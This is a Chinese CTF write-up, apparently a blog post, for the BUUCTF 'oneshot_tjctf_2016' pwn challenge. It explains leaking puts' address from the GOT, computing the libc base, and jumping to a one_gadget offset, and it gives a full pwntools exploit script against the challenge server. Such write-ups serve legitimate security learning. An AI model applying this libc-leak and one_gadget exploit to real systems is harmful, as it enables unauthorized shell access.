BUUCTF之“oneshot_tjctf_2016”

本文介绍了通过泄露libc函数地址并计算基地址的方法,结合OneGadget工具找到execve地址的过程。文中详细解释了IDA中关于(_QWORD*)v4的操作含义及Python脚本实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

咳咳,这题就是对于onegadget的简单复习:泄露libc库某个函数,然后计算基地址,结合onegadget计算execve地址。

IDA中需要注意的:

*(_QWORD *)v4

这里着重说下“*(_QWORD )”,我们将之拆开来说:
(_QWORD
)意思是将八个字节的后者(v4)强制转换为8个字节的地址,而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”,程序中的意思是,再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的:
一个是int的使用,
一个是str()的形式将"put_addr"和“onegad”输入上去:这是因为我们利用“send__的形式与远端进行交互,而send_的要求就是要发送字符,二者的都是地址,是数,所以我们的利用str()将其转成字符形式”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值